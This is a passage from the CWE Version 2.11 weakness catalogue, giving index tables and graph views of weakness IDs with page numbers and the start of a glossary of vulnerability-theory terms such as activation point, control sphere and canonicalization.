<td>(p. 86)</td>
</tr>
<tr>
<td>CWE-164</td>
<td>Improper Neutralization of Internal Special Elements</td>
<td>(p. 321)</td>
</tr>
<tr>
<td>CWE-165</td>
<td>Improper Neutralization of Multiple Internal Special Elements</td>
<td>(p. 323)</td>
</tr>
<tr>
<td>CWE-45</td>
<td>Path Equivalence: 'file...name' (Multiple Internal Dot)</td>
<td>(p. 80)</td>
</tr>
<tr>
<td>CWE-53</td>
<td>Path Equivalence: '\multiple\internal\backslash'</td>
<td>(p. 86)</td>
</tr>
<tr>
<td>CWE-166</td>
<td>Improper Handling of Missing Special Element</td>
<td>(p. 324)</td>
</tr>
<tr>
<td>CWE-167</td>
<td>Improper Handling of Additional Special Element</td>
<td>(p. 325)</td>
</tr>
<tr>
<td>CWE-168</td>
<td>Improper Handling of Inconsistent Special Elements</td>
<td>(p. 326)</td>
</tr>
<tr>
<td>CWE-464</td>
<td>Addition of Data Structure Sentinel</td>
<td>(p. 783)</td>
</tr>
<tr>
<td>CWE-790</td>
<td>Improper Filtering of Special Elements</td>
<td>(p. 1217)</td>
</tr>
<tr>
<td>CWE-791</td>
<td>Incomplete Filtering of Special Elements</td>
<td>(p. 1217)</td>
</tr>
<tr>
<td>CWE-792</td>
<td>Incomplete Filtering of One or More Instances of Special Elements</td>
<td>(p. 1218)</td>
</tr>
<tr>
<td>CWE-793</td>
<td>Only Filtering One Instance of a Special Element</td>
<td>(p. 1219)</td>
</tr>
<tr>
<td>CWE-794</td>
<td>Incomplete Filtering of Multiple Instances of Special Elements</td>
<td>(p. 1220)</td>
</tr>
<tr>
<td>CWE-795</td>
<td>Only Filtering Special Elements at a Specified Location</td>
<td>(p. 1221)</td>
</tr>
<tr>
<td>CWE-796</td>
<td>Only Filtering Special Elements Relative to a Marker</td>
<td>(p. 1222)</td>
</tr>
<tr>
<td>CWE-797</td>
<td>Only Filtering Special Elements at an Absolute Position</td>
<td>(p. 1222)</td>
</tr>
<tr>
<td>CWE-170</td>
<td>Improper Null Termination</td>
<td>(p. 328)</td>
</tr>
<tr>
<td>CWE-172</td>
<td>Encoding Error</td>
<td>(p. 333)</td>
</tr>
<tr>
<td>CWE-173</td>
<td>Improper Handling of Alternate Encoding</td>
<td>(p. 335)</td>
</tr>
<tr>
<td>CWE-174</td>
<td>Double Decoding of the Same Data</td>
<td>(p. 336)</td>
</tr>
<tr>
<td>CWE-175</td>
<td>Improper Handling of Mixed Encoding</td>
<td>(p. 338)</td>
</tr>
<tr>
<td>CWE-176</td>
<td>Improper Handling of Unicode Encoding</td>
<td>(p. 339)</td>
</tr>
<tr>
<td>CWE-177</td>
<td>Improper Handling of URL Encoding (Hex Encoding)</td>
<td>(p. 341)</td>
</tr>
<tr>
<td>CWE-228</td>
<td>Improper Handling of Syntactically Invalid Structure</td>
<td>(p. 420)</td>
</tr>
<tr>
<td>CWE-229</td>
<td>Improper Handling of Values</td>
<td>(p. 422)</td>
</tr>
<tr>
<td>CWE-230</td>
<td>Improper Handling of Missing Values</td>
<td>(p. 422)</td>
</tr>
<tr>
<td>CWE-231</td>
<td>Improper Handling of Extra Values</td>
<td>(p. 423)</td>
</tr>
<tr>
<td>CWE-232</td>
<td>Improper Handling of Undefined Values</td>
<td>(p. 424)</td>
</tr>
<tr>
<td>CWE-233</td>
<td>Improper Handling of Parameters</td>
<td>(p. 425)</td>
</tr>
<tr>
<td>CWE-234</td>
<td>Failure to Handle Missing Parameter</td>
<td>(p. 426)</td>
</tr>
<tr>
<td>CWE-235</td>
<td>Improper Handling of Extra Parameters</td>
<td>(p. 427)</td>
</tr>
<tr>
<td>CWE-236</td>
<td>Improper Handling of Undefined Parameters</td>
<td>(p. 428)</td>
</tr>
<tr>
<td>CWE-237</td>
<td>Improper Handling of Structural Elements</td>
<td>(p. 429)</td>
</tr>
<tr>
<td>CWE-238</td>
<td>Improper Handling of Incomplete Structural Elements</td>
<td>(p. 429)</td>
</tr>
<tr>
<td>CWE-239</td>
<td>Failure to Handle Incomplete Element</td>
<td>(p. 430)</td>
</tr>
<tr>
<td>CWE-240</td>
<td>Improper Handling of Inconsistent Structural Elements</td>
<td>(p. 430)</td>
</tr>
<tr>
<td>CWE-241</td>
<td>Improper Handling of Unexpected Data Type</td>
<td>(p. 431)</td>
</tr>
<tr>
<td>CWE-240</td>
<td>Improper Handling of Inconsistent Structural Elements</td>
<td>(p. 430)</td>
</tr>
<tr>
<td>CWE-130</td>
<td>Improper Handling of Length Parameter Inconsistency</td>
<td>(p. 266)</td>
</tr>
<tr>
<td>CWE-463</td>
<td>Deletion of Data Structure Sentinel</td>
<td>(p. 781)</td>
</tr>
<tr>
<td>CWE-74</td>
<td>Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')</td>
<td>(p. 113)</td>
</tr>
<tr>
<td>CWE-116</td>
<td>Improper Encoding or Escaping of Output</td>
<td>(p. 217)</td>
</tr>
<tr>
<td>CWE-117</td>
<td>Improper Output Neutralization for Logs</td>
<td>(p. 223)</td>
</tr>
<tr>
<td>CWE-844</td>
<td>Improper Neutralization of HTTP Headers for Scripting Syntax</td>
<td>(p. 1001)</td>
</tr>
<tr>
<td>CWE-838</td>
<td>Inappropriate Encoding for Output Context</td>
<td>(p. 1281)</td>
</tr>
</tbody>
</table>
CWE-134: Use of Externally-Controlled Format String (p. 277)
CWE-20: Improper Input Validation (p. 18)
  - CWE-105: Struts: Form Field Without Validator (p. 198)
  - CWE-106: Struts: Plug-in Framework not in Use (p. 201)
  - CWE-108: Struts: Unvalidated Action Form (p. 204)
  - CWE-109: Struts: Validator Turned Off (p. 205)
  - CWE-112: Missing XML Validation (p. 210)
  - CWE-114: Process Control (p. 215)
  - CWE-129: Improper Validation of Array Index (p. 258)
CWE-554: ASP.NET Misconfiguration: Not Using Input Validation Framework (p. 893)
CWE-606: Unchecked Input for Loop Condition (p. 954)
CWE-622: Improper Validation of Function Hook Arguments (p. 972)
CWE-626: Null Byte Interaction Error (Poison Null Byte) (p. 976)
CWE-781: Improper Address Validation in IOCTL with METHOD_NEITHER I/O Control Code (p. 1200)
CWE-789: Uncontrolled Memory Allocation (p. 1215)
CWE-680: Integer Overflow to Buffer Overflow (p. 1059)
CWE-690: Unchecked Return Value to NULL Pointer Dereference (p. 1073)
CWE-692: Incomplete Blacklist to Cross-Site Scripting (p. 1076)
CWE-75: Failure to Sanitize Special Elements into a Different Plane (Special Element Injection) (p. 116)
  - CWE-76: Improper Neutralization of Equivalent Special Elements (p. 116)
CWE-77: Improper Neutralization of Special Elements used in a Command ('Command Injection') (p. 117)
  - CWE-624: Executable Regular Expression Error (p. 974)
  - CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') (p. 121)
  - CWE-88: Argument Injection or Modification (p. 155)
  - CWE-917: Improper Neutralization of Special Elements used in an Expression Language Statement ('Expression Language Injection') (p. 1348)
CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') (p. 131)
  - CWE-113: Improper Neutralization of CRLF Sequences in HTTP Headers ('HTTP Response Splitting') (p. 211)
  - CWE-184: Incomplete Blacklist (p. 352)
  - CWE-80: Improper Neutralization of Script-Related HTML Tags in a Web Page (Basic XSS) (p. 142)
  - CWE-81: Improper Neutralization of Script in an Error Message Web Page (p. 144)
  - CWE-83: Improper Neutralization of Script in Attributes in a Web Page (p. 147)
    - CWE-82: Improper Neutralization of Script in Attributes of IMG Tags in a Web Page (p. 146)
  - CWE-84: Improper Neutralization of Encoded URI Schemes in a Web Page (p. 149)
  - CWE-85: Doubled Character XSS Manipulations (p. 151)
  - CWE-86: Improper Neutralization of Invalid Characters in Identifiers in Web Pages (p. 152)
  - CWE-87: Improper Neutralization of Alternate XSS Syntax (p. 153)
  - CWE-91: XML Injection (aka Blind XPath Injection) (p. 170)
    - CWE-643: Improper Neutralization of Data within XPath Expressions ('XPath Injection') (p. 1000)
    - CWE-652: Improper Neutralization of Data within XQuery Expressions ('XQuery Injection') (p. 1011)
  - CWE-93: Improper Neutralization of CRLF Sequences ('CRLF Injection') (p. 172)
  - CWE-113: Improper Neutralization of CRLF Sequences in HTTP Headers ('HTTP Response Splitting') (p. 211)
  - CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection') (p. 177)
Appendix A - Graph Views: CWE-1000: Research Concepts

CWE-97: Improper Neutralization of Server-Side Includes (SSI) Within a Web Page (p. 183)
CWE-98: Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') (p. 184)
CWE-943: Improper Neutralization of Special Elements in Data Query Logic (p. 1373)
CWE-643: Improper Neutralization of Data within XPath Expressions ('XPath Injection') (p. 1000)
CWE-652: Improper Neutralization of Data within XQuery Expressions ('XQuery Injection') (p. 1011)
CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') (p. 159)
  - CWE-456: Missing Initialization of a Variable (p. 772)
  - CWE-564: SQL Injection: Hibernate (p. 902)
CWE-90: Improper Neutralization of Special Elements used in an LDAP Query ('LDAP Injection') (p. 168)
CWE-99: Improper Control of Resource Identifiers ('Resource Injection') (p. 190)
CWE-641: Improper Restriction of Names for Files and Other Resources (p. 993)
CWE-694: Use of Multiple Resources with Duplicate Identifier (p. 1078)
  - CWE-102: Struts: Duplicate Validation Forms (p. 193)
  - CWE-462: Duplicate Key in Associative List (Alist) (p. 780)
CWE-914: Improper Control of Dynamically-Identified Variables (p. 1341)
  - CWE-621: Variable Extraction Error (p. 971)
  - CWE-627: Dynamic Variable Evaluation (p. 977)
CWE-710: Coding Standards Violation (p. 1112)
CWE-227: Improper Fulfillment of API Contract ('API Abuse') (p. 419)
CWE-573: Improper Following of Specification by Caller (p. 913)
  - CWE-103: Struts: incomplete validate() Method Definition (p. 194)
  - CWE-104: Struts: Form Bean Does Not Extend Validation Class (p. 196)
  - CWE-243: Creation of chroot Jail Without Changing Working Directory (p. 434)
CWE-253: Incorrect Check of Function Return Value (p. 452)
CWE-296: Improper Following of a Certificate's Chain of Trust (p. 525)
CWE-304: Missing Critical Step in Authentication (p. 536)
CWE-325: Missing Required Cryptographic Step (p. 571)
CWE-329: Not Using a Random IV with CBC Mode (p. 581)
CWE-358: Improperly Implemented Security Check for Standard (p. 622)
CWE-475: Undefined Behavior for Input to API (p. 799)
CWE-568: finalize() Method Without super.finalize() (p. 907)
CWE-577: EJB Bad Practices: Use of Sockets (p. 919)
CWE-578: EJB Bad Practices: Use of Class Loader (p. 920)
CWE-579: J2EE Bad Practices: Non-serializable Object Stored in Session (p. 922)
CWE-580: clone() Method Without super.clone() (p. 923)
CWE-581: Object Model Violation: Just One of Equals and Hashcode Defined (p. 924)
CWE-628: Function Call with Incorrectly Specified Arguments (p. 979)
  - CWE-683: Function Call With Incorrect Order of Arguments (p. 1066)
  - CWE-685: Function Call With Incorrect Number of Arguments (p. 1068)
  - CWE-686: Function Call With Incorrect Argument Type (p. 1069)
  - CWE-687: Function Call With Incorrectly Specified Argument Value (p. 1070)
  - CWE-560: Use of umask() with chmod-style Argument (p. 897)
  - CWE-688: Function Call With Incorrect Variable or Reference as Argument (p. 1071)
CWE-675: Duplicate Operations on Resource (p. 1045)
CWE-174: Double Decoding of the Same Data (p. 336)
CWE-415: Double Free (p. 718)
CWE-605: Multiple Binds to the Same Port (p. 953)
CWE-764: Multiple Locks of a Critical Resource (p. 1171)
CWE-765: Multiple Unlocks of a Critical Resource (p. 1172)
CWE-694: Use of Multiple Resources with Duplicate Identifier (p. 1078)
Appendix A - Graph Views: CWE-1000: Research Concepts

CWE-102: Struts: Duplicate Validation Forms (p. 193)
CWE-462: Duplicate Key in Associative List (Alist) (p. 780)
CWE-695: Use of Low-Level Functionality (p. 1079)
CWE-111: Direct Use of Unsafe JNI (p. 208)
CWE-245: J2EE Bad Practices: Direct Management of Connections (p. 436)
CWE-246: J2EE Bad Practices: Direct Use of Sockets (p. 438)
CWE-383: J2EE Bad Practices: Direct Use of Threads (p. 664)
CWE-574: EJB Bad Practices: Use of Synchronization Primitives (p. 914)
CWE-575: EJB Bad Practices: Use of AWT Swing (p. 915)
CWE-576: EJB Bad Practices: Use of Java I/O (p. 917)
CWE-586: Explicit Call to finalize() (p. 928)
CWE-648: Incorrect Use of Privileged APIs (p. 1006)
CWE-650: Trusting HTTP Permission Methods on the Server Side (p. 1009)
CWE-684: Incorrect Provision of Specified Functionality
CWE-110: Struts: Validator Without Form Field (p. 202)
CWE-398: Indicator of Poor Code Quality (p. 685)
CWE-107: Struts: Unused Validation Form (p. 202)
CWE-110: Struts: Validator Without Form Field (p. 206)
CWE-474: Use of Function with Inconsistent Implementations (p. 799)
CWE-589: Call to Non-ubiquitous API (p. 931)
CWE-476: NULL Pointer Dereference (p. 800)
CWE-477: Use of Obsolete Functions (p. 804)
CWE-484: Omitted Break Statement in Switch (p. 819)
CWE-546: Suspicious Comment (p. 887)
CWE-547: Use of Hard-coded, Security-relevant Constants (p. 888)
CWE-561: Dead Code (p. 898)
CWE-570: Expression is Always False (p. 908)
CWE-571: Expression is Always True (p. 911)
CWE-562: Return of Stack Variable Address (p. 900)
CWE-563: Assignment to Variable without Use ('Unused Variable') (p. 901)
CWE-585: Empty Synchronized Block (p. 927)
CWE-676: Use of Potentially Dangerous Function (p. 1046)
CWE-785: Use of Path Manipulation Function without Maximum-sized Buffer (p. 1207)
CWE-657: Violation of Secure Design Principles (p. 1019)
CWE-250: Execution with Unnecessary Privileges (p. 441)
CWE-636: Not Failing Securely ('Failing Open') (p. 985)
CWE-455: Non-exit on Failed Initialization (p. 771)
CWE-637: Unnecessary Complexity in Protection Mechanism (Not Using 'Economy of Mechanism') (p. 987)
CWE-638: Not Using Complete Mediation (p. 988)
CWE-653: Insufficient Compartmentalization (p. 1012)
CWE-640: Reliance on a Single Factor in a Security Decision (p. 1014)
CWE-308: Use of Single-factor Authentication (p. 545)
CWE-309: Use of Password System for Primary Authentication (p. 546)
CWE-655: Insufficient Psychological Acceptability (p. 1016)
Appendix A - Graph Views: CWE-1000: Research Concepts

CWE Version 2.11

1. CWE-656: Reliance on Security Through Obscurity (p. 1017)
2. CWE-671: Lack of Administrator Control over Security (p. 1040)
3. CWE-447: Unimplemented or Unsupported Feature in UI (p. 762)
4. CWE-798: Use of Hard-coded Credentials (p. 1223)
5. CWE-259: Use of Hard-coded Password (p. 460)
6. CWE-321: Use of Hard-coded Cryptographic Key (p. 566)
7. CWE-758: Reliance on Undefined, Unspecified, or Implementation-Defined Behavior (p. 1156)
8. CWE-188: Reliance on Data/Memory Layout (p. 359)
9. CWE-198: Use of Incorrect Byte Ordering (p. 383)
10. CWE-587: Assignment of a Fixed Address to a Pointer (p. 929)
11. CWE-588: Attempt to Access Child of a Non-structure Pointer (p. 930)
12. CWE-733: Compiler Optimization Removal or Modification of Security-critical Code (p. 1131)
13. CWE-14: Compiler Removal of Code to Clear Buffers (p. 12)
14. CWE-912: Hidden Functionality (p. 1340)
15. CWE-506: Embedded Malicious Code (p. 854)
   - CWE-507: Trojan Horse (p. 855)
   - CWE-508: Non-Replicating Malicious Code (p. 856)
   - CWE-509: Replicating Malicious Code (Virus or Worm) (p. 857)
16. CWE-510: Trapdoor (p. 857)
17. CWE-511: Logic/Time Bomb (p. 859)
18. CWE-512: Spyware (p. 859)
19. CWE-514: Covert Channel (p. 860)
   - CWE-385: Covert Timing Channel (p. 667)
   - CWE-515: Covert Storage Channel (p. 861)
Graph View: CWE-1003: Weaknesses for Simplified Mapping of Published Vulnerabilities

- CWE-16: Configuration (p. 15)
- CWE-17: Code (p. 17)
  - CWE-18: Source Code (p. 17)
    - CWE-19: Data Processing Errors (p. 18)
      - CWE-137: Representation Errors (p. 284)
        - CWE-171: Cleansing, Canonicalization, and Comparison Errors (p. 332)
    - CWE-117: Improper Enforcement of Message or Data Structure (p. 1110)
    - CWE-116: Improper Encoding or Escaping of Output (p. 217)
      - CWE-172: Encoding Error (p. 333)
  - CWE-189: Numeric Errors (p. 360)
    - CWE-682: Incorrect Calculation (p. 1063)
      - CWE-190: Integer Overflow or Wraparound (p. 361)
      - CWE-191: Integer Underflow (Wrap or Wraparound) (p. 367)
      - CWE-369: Divide By Zero (p. 648)
  - CWE-118: Incorrect Access of Indexable Resource (‘Range Error’) (p. 225)
  - CWE-119: Improper Restriction of Operations within the Bounds of a Memory Buffer (p. 226)
    - CWE-123: Write-what-where Condition (p. 248)
    - CWE-125: Out-of-bounds Read (p. 253)
    - CWE-787: Out-of-bounds Write (p. 1211)
    - CWE-824: Access of Uninitialized Pointer (p. 1257)
  - CWE-185: Incorrect Regular Expression (p. 355)
  - CWE-254: Security Features (p. 453)
  - CWE-255: Credentials Management (p. 454)
    - CWE-640: Weak Password Recovery Mechanism for Forgotten Password (p. 991)
    - CWE-798: Use of Hard-coded Credentials (p. 1223)
  - CWE-264: Permissions, Privileges, and Access Controls (p. 469)
    - CWE-284: Improper Access Control (p. 500)
    - CWE-285: Improper Authorization (p. 502)
    - CWE-287: Improper Authentication (p. 508)
      - CWE-306: Missing Authentication for Critical Function (p. 538)
      - CWE-384: Session Fixation (p. 665)
    - CWE-346: Origin Validation Error (p. 603)
    - CWE-441: Unintended Proxy or Intermediary ('Confused Deputy') (p. 755)
    - CWE-472: External Control of Assumed-Immutable Web Parameter (p. 795)
  - CWE-310: Cryptographic Issues (p. 548)
    - CWE-320: Key Management Errors (p. 565)
    - CWE-326: Inadequate Encryption Strength (p. 573)
    - CWE-327: Use of a Broken or Risky Cryptographic Algorithm (p. 574)
    - CWE-295: Improper Certificate Validation (p. 522)
    - CWE-297: Improper Validation of Certificate with Host Mismatch (p. 526)
    - CWE-330: Use of Insufficiently Random Values (p. 582)
    - CWE-331: Insufficient Entropy (p. 587)
      - CWE-332: Insufficient Entropy in PRNG (p. 588)
    - CWE-338: Use of Cryptographically Weak Pseudo-Random Number Generator (PRNG) (p. 595)
    - CWE-345: Insufficient Verification of Data Authenticity (p. 601)
    - CWE-347: Improper Verification of Cryptographic Signature (p. 606)
    - CWE-352: Cross-Site Request Forgery (CSRF) (p. 612)
    - CWE-346: Origin Validation Error (p. 603)
    - CWE-441: Unintended Proxy or Intermediary ('Confused Deputy') (p. 755)
    - CWE-613: Insufficient Session Expiration (p. 962)
| CWE-642: | External Control of Critical State Data (p. 995) |
| CWE-358: | Improperly Implemented Security Check for Standard (p. 622) |
| CWE-693: | Protection Mechanism Failure (p. 1077) |
| CWE-184: | Incomplete Blacklist (p. 352) |
| CWE-20: | Improper Input Validation (p. 18) |
| CWE-21: | Pathname Traversal and Equivalence Errors (p. 29) |
| CWE-22: | Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') (p. 30) |
| CWE-59: | Improper Link Resolution Before File Access ('Link Following') (p. 91) |
| CWE-129: | Improper Validation of Array Index (p. 258) |
| CWE-601: | URL Redirection to Untrusted Site ('Open Redirect') (p. 944) |
| CWE-74: | Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection') (p. 113) |
| CWE-134: | Use of Externally-Controlled Format String (p. 277) |
| CWE-77: | Improper Neutralization of Special Elements Used in a Command ('Command Injection') (p. 117) |
| CWE-78: | Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') (p. 121) |
| CWE-88: | Argument Injection or Modification (p. 155) |
| CWE-79: | Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') (p. 131) |
| CWE-91: | XML Injection (aka Blind XPath Injection) (p. 170) |
| CWE-93: | Improper Neutralization of CRLF Sequences ('CRLF Injection') (p. 172) |
| CWE-113: | Improper Neutralization of CRLF Sequences in HTTP Headers ('HTTP Response Splitting') (p. 211) |
| CWE-943: | Improper Neutralization of Special Elements in Data Query Logic (p. 1373) |
| CWE-89: | Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') (p. 159) |
| CWE-90: | Improper Neutralization of Special Elements used in an LDAP Query ('LDAP Injection') (p. 168) |
| CWE-99: | Improper Control of Resource Identifiers ('Resource Injection') (p. 190) |
| CWE-694: | Use of Multiple Resources with Duplicate Identifier (p. 1078) |
| CWE-361: | Time and State (p. 627) |
| CWE-371: | State Issues (p. 652) |
| CWE-472: | External Control of Assumed-Immutable Web Parameter (p. 795) |
| CWE-362: | Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition') (p. 628) |
| CWE-664: | Improper Control of a Resource Through its Lifetime (p. 1028) |
| CWE-610: | Externally Controlled Reference to a Resource in Another Sphere (p. 959) |
| CWE-441: | Unintended Proxy or Intermediary ('Confused Deputy') (p. 755) |
| CWE-918: | Server-Side Request Forgery (SSRF) (p. 1349) |
| CWE-611: | Improper Restriction of XML External Entity Reference ('XXE') (p. 960) |
| CWE-665: | Improper Initialization (p. 1029) |
| CWE-704: | Incorrect Type Conversion or Cast (p. 1107) |
| CWE-913: | Improper Control of Dynamically-Managed Code Resources (p. 1340) |
| CWE-502: | Deserialization of Untrusted Data (p. 849) |
| CWE-668: | Exposure of Resource to Wrong Sphere (p. 1037) |
| CWE-200: | Information Exposure (p. 384) |
| CWE-538: | File and Directory Information Exposure (p. 880) |
| CWE-532: | Information Exposure Through Log Files (p. 875) |
| CWE-534: | Information Exposure Through Debug Log Files (p. 877) |
| CWE-220: | Sensitive Data Under FTP Root (p. 413) |
| CWE-552: | Files or Directories Accessible to External Parties (p. 892) |
Appendix A - Graph Views: CWE-1003: Weaknesses for Simplified Mapping of Published Vulnerabilities

- CWE-669: Incorrect Resource Transfer Between Spheres (p. 1039)
  - CWE-434: Unrestricted Upload of File with Dangerous Type (p. 744)

- CWE-388: Error Handling (p. 670)
  - CWE-754: Improper Check for Unusual or Exceptional Conditions (p. 1146)

- CWE-417: Channel and Path Errors (p. 723)
  - CWE-427: Uncontrolled Search Path Element (p. 735)
  - CWE-428: Unquoted Search Path or Element (p. 738)
  - CWE-426: Untrusted Search Path (p. 731)
    - CWE-275: Permission Issues (p. 489)
    - CWE-216: Containment Errors (Container Errors) (p. 411)
    - CWE-471: Modification of Assumed-Immutable Data (MAID) (p. 793)

- CWE-398: Indicator of Poor Code Quality (p. 685)

- CWE-399: Resource Management Errors (p. 688)
  - CWE-400: Uncontrolled Resource Consumption ('Resource Exhaustion') (p. 689)
    - CWE-769: File Descriptor Exhaustion (p. 1177)
      - CWE-774: Allocation of File Descriptors or Handles Without Limits or Throttling (p. 1191)
      - CWE-775: Missing Release of File Descriptor or Handle after Effective Lifetime (p. 1192)
  - CWE-404: Improper Resource Shutdown or Release (p. 700)
  - CWE-405: Asymmetric Resource Consumption (Amplification) (p. 704)
    - CWE-407: Algorithmic Complexity (p. 707)
  - CWE-415: Double Free (p. 718)
  - CWE-416: Use After Free (p. 720)
  - CWE-476: NULL Pointer Dereference (p. 800)

- CWE-485: Insufficient Encapsulation (p. 820)
  - CWE-749: Exposed Dangerous Method or Function (p. 1141)

- CWE-2: Environment (p. 1)
  - CWE-435: Interaction Error (p. 750)
  - CWE-436: Interpretation Conflict (p. 751)
  - CWE-444: Inconsistent Interpretation of HTTP Requests ('HTTP Request Smuggling') (p. 758)
Activation Point  a vulnerability theory term for the location in code at an attacker’s “payload” can be executed, i.e. when the attacker has caused the code to violate the intended security policy. For example, in SQL injection, the code reads an input from a parameter (interaction point), incorrectly checks the input for dangerous characters (crossover point), inserts the input into a dynamically generated query string, then sends the query string to the database server (trigger point), then the query is processed by the server (activation point). See the Vulnerability Theory paper for more details.

Actor  a vulnerability theory term that describes an entity that interacts with the software or with other entities, such as a User, Service, Monitor (e.g. IDS), Intermediary, and others.

Attacker  an actor who attempts to gain access to behaviors or resources that are outside of the software’s intended control sphere for that actor.

Authentication  the process of verifying that an actor has a specific real-world identity, typically by checking for information that the software assumes can only be produced by that actor. This is different than authorization, because authentication focuses on verifying the identity of the actor, not what resources the actor can access.

Authorization  the process of determining whether an actor with a given identity is allowed to have access to a resource, then granting access to that resource, as defined by the implicit and explicit security policies for the system. This is different than authentication, because authorization focuses on whether a given actor can access a given resource, not in proving what the real-world identity of the actor is.

Base Weakness  a weakness that is described in an abstract fashion, but with sufficient details to infer specific methods for detection and prevention. More general than a Variant weakness, but more specific than a Class weakness.

Behavior  an action that the software takes, typically as implemented in code or as represented by an algorithm. Could also refer to actions by other actors that are not the system.

Canonicalization  a behavior that converts or reduces an input/output to a single fixed form that cannot be converted or reduced any further. In cases in which the input/output is used as an identifier, canonicalization refers to the act of converting that identifier. For example, when the current working directory is “/users/cwe,” the filename “../xyz” can be canonicalized to “/users/xyz.”

Canonicalize  to perform Canonicalization.

Category  a CWE entry that contains a set of other entries that share a common characteristic.

Chain  a Compound Element that is a sequence of two or more separate weaknesses that can be closely linked together within software. One weakness, X, can directly create the conditions that are necessary to cause another weakness, Y, to enter a vulnerable condition. When this happens, CWE refers to X as “primary” to Y, and Y is “resultant” from X. For example, in the named chain CWE-691, an integer overflow (CWE-190) can lead to a buffer overflow (CWE-120) if an integer overflow occurs while calculating the amount of memory to allocate. In this case, the integer overflow would be primary to the buffer overflow. Chains can involve more than two weaknesses, and in some cases, they might have a tree-like structure.

Check  in the vulnerability theory model of error handling, to examine a resource, its properties, or the system state to determine if they align with the expectations of the software.

Class Weakness  a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More general than a Base weakness.

Cleanse  Use of this term is discouraged in names and descriptions for CWE weaknesses, since it has too many different meanings in the industry and may cause mapping errors. It is not precise enough for CWE’s purpose. This decision was made in CWE 1.9. Some entries may still use this term, but they will be modified in future versions.

Cleansing  This term is discouraged for use in CWE.

Cleartext  Any information that is unencrypted, although it might be in an encoded form that is not easily human-readable, such as base64 encoding. Some people use the “plaintext” term to mean the same thing, but “plaintext” has a more precise meaning within cryptography.

Composite  a Compound Element that consists of two or more distinct weaknesses, in which all weaknesses must be present at the same time in order for a potential vulnerability to arise. Removing any of the weaknesses eliminates or sharply reduces the risk. One weakness, X, can be “broken down” into component weaknesses Y and Z. For example, Symlink Following (CWE-61) is only possible through a combination of several component weaknesses, including predictability (CWE-340), inadequate permissions (CWE-275), and race conditions (CWE-362). By eliminating any single component, a developer can prevent the composite from becoming exploitable. There can be cases in which one weakness might not be essential to a composite, but changes the nature of the composite when it becomes a vulnerability; for example, NUL byte interaction errors (CWE-626) can widen the scope of path traversal weaknesses (CWE-22), which often limit which files could be accessed due to idiosyncrasies in filename generation.

Compound Element  an Entry that closely associates two or more CWE entries. The CWE team’s research has shown that vulnerabilities often can be described in terms of the interaction or co-occurrence of two or more weaknesses. In CWE 1.0, the only types of compound elements are Chains and Composites, although other types might be defined in later versions.

Consequence  a fault - a behavior that is always incorrect if executed, i.e., conflicts with the intended security policy.
Control Sphere  a vulnerability theory term for a set of resources and behaviors that are accessible to a single actor, or a group of actors that all share the same security restrictions. This set can be empty. A product's security model will typically define multiple spheres, although this model might not be explicitly stated. For example, a server might define one sphere for "administrators" who can create new user accounts with subdirectories under '/home/server/', and a second sphere might cover the set of users who can create or delete files within their own subdirectories. A third sphere might be "users who are authenticated to the operating system on which the product is installed." Each sphere has different sets of actors and allowable behaviors. Vulnerabilities can arise when the boundaries of a control sphere are not properly enforced, or when a control sphere is defined in a way that allows more actors or resources than the developer or system operator intends. For example, an application might intend to allow guest users to access files that are only within a given directory, but a path traversal attack could allow access to files that are outside of that directory, which are thus outside of the intended sphere of control.

Crossover Point  a vulnerability theory term for the location in code after which an expected property is violated. This is likely to lead to incorrect actions at a later point. For example, a programmer might use a regular expression to restrict an input string to contain only digits, such as for a telephone number. After applying the regular expression, the string is expected to have the property "only contains digits." If the regular expression is incorrectly specified (e.g. only testing for the presence of a digit anywhere in the string), then after its application, the code reaches a crossover point because the string does not necessarily have the property of "only contains digits." For example, in SQL injection, the code reads an input from a parameter (interaction point), incorrectly checks the input for dangerous characters (crossover point), inserts the input into a dynamically generated query string, then sends the query string to the database server (trigger point), then the query is processed by the server (activation point). See the Vulnerability Theory paper for more details.

CRUD  acronym for "Create, Read, Update, Delete," a model for persistent storage of data that is similar to the resource model in vulnerability theory.

Enforce  a general term, meaning to check or manipulate a resource so that it has a property that is required by the security policy. For example, the filtering of all non-alphanumerics characters from an input is one mechanism to enforce that "all characters are alphanumeric." An alternate method of enforcement would be to reject the input entirely if it contains anything that's non-alphanumeric.

Entry  any type of item in the CWE list that has been assigned a unique identifier.

Equivalence  a security property in which two identifiers, inputs, resources, or behaviors have syntactically different representations, but are ultimately treated as being the same. For example, in Windows systems, the filenames "MyFile.txt" and "MYFILE.TXT" are equivalent because they refer to the same underlying file object. The inability to recognize equivalence is often a factor in vulnerabilities.

Explicit Slice  a Slice whose membership is determined by some external criterion that is represented using HasMember relationships between the view and those entries, but not between entries themselves. An example is CWE-635, which lists the CWE identifiers that being used by NVD.

Filter  to perform Filtering.

Filtering  the removal of elements from input or output based on some criteria. This term may apply to removal of elements regardless of security implications.

Graph  a View that specifies relationships between entries, typically of a hierarchical nature. The root level nodes of the view are specified using HasMember relationships. Children are specified using ChildOf or other relationships.

Handle  in the vulnerability theory model of error handling, to modify the execution of the software based on the results of a check for an error or exceptional condition.

ICTA  Interaction/Crossover/Trigger/Activation, an acronym for the vulnerability theory terms for important locations in code artifacts.

Implicit Slice  a Slice that defines its membership based on common characteristics of entries, such as weaknesses that can appear in C programs (CWE-658).

Improper  used as a catch-all term to cover security behaviors that are either "Missing" or "Insufficient/Incorrect." Note: this term is being used inconsistently in CWE, although it has been more clearly defined since CWE 1.2.

Incorrect  a general term, used when a behavior attempts to do a task but does not do it correctly. This is distinct from "Missing," in which the developer does not even attempt to perform the behavior. This is similar to "Insufficient." Note: this term is being used inconsistently in CWE, although it has been more clearly defined since CWE 1.2.

Information Exposure  the intentional or unintentional disclosure of information to an actor that is not explicitly authorized to have access to that information.

